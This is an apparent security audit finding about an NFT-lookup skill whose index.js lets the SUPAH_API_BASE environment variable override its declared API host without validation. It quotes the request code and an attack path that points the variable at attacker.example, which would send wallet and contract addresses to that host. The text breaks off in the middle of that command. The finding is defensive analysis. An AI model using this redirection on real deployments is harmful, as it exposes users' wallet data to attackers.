T09 · Insecure Skill Coding Practices
- Location
index.js:6- Finding
Unrestricted API Base Override Bypasses the Declared Outbound Network Boundary
- Content
View full analysis
{ const qs = new URLSearchParams(params).toString(); https.get(`${API}${path}${qs ? '?' + qs : ''}`, { headers: { 'User-Agent': 'OpenClaw-SUPAH-NFT/1.2.0' } }, res => { let d = ''; res.on('data', c => d += c); res.on('end', () => { try { resolve(JSON.parse(d)); } catch (e) { resolve({ error: 'Invalid response' }); } }); }).on('error', reject); }); } ``` ### Technical Analysis The skill metadata declares `api.supah.ai` as its outbound network destination, but the implementation permits `SUPAH_API_BASE` to replace that destination with an arbitrary value. No URL parsing, hostname validation, or allowlist enforcement is performed before the value is passed to `https.get()`. Consequently, a compromised or incorrectly configured runtime environment can redirect collection names, NFT contract addresses, and wallet addresses to an unintended HTTPS server. This bypasses the network boundary represented by the skill metadata and makes the actual data recipient dependent on mutable environment configuration. This is not a direct credential or private-key disclosure because the implementation does not read or transmit such values. Exploitation also requires influence over the process environment or deployment configuration. ### Attack Path 1. An attacker gains the ability to modify the environment used to launch the skill, such as through a compromised deployment configuration or wrapper process. 2. The attacker sets: ```bash SUPAH_API_BASE=https://attacker.example ``` 3. A user invokes a command containing identifying data: ```bash supa ...[truncated 792 chars]- Remediation
View remediation
